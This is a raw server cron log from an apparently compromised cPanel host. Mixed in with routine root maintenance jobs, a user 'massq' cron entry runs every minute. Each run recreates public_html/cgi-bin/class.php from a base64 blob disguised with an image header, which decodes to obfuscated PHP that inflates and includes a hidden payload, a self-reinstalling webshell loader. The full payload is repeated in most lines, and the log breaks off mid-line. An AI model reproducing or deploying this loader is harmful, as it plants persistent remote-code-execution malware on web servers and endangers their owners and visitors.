"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:09:01 server CROND[22389]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 08:10:01 server CROND[22489]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 08:10:01 server CROND[22491]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 08:10:01 server CROND[22493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:10:01 server CROND[22492]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 08:11:01 server CROND[22661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:12:01 server CROND[22769]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 08:12:01 server CROND[22770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:13:01 server CROND[22891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:14:01 server CROND[22950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:15:01 server CROND[23011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:15:01 server CROND[23013]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 08:15:01 server CROND[23012]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 10 08:15:01 server CROND[23014]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 08:16:01 server CROND[23237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:17:01 server CROND[23297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:18:01 server CROND[23366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:19:01 server CROND[23436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:20:01 server CROND[23512]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 08:20:01 server CROND[23513]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 08:20:01 server CROND[23517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:20:01 server CROND[23514]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 08:20:01 server CROND[23515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 08:21:01 server CROND[23643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:22:01 server CROND[23811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUp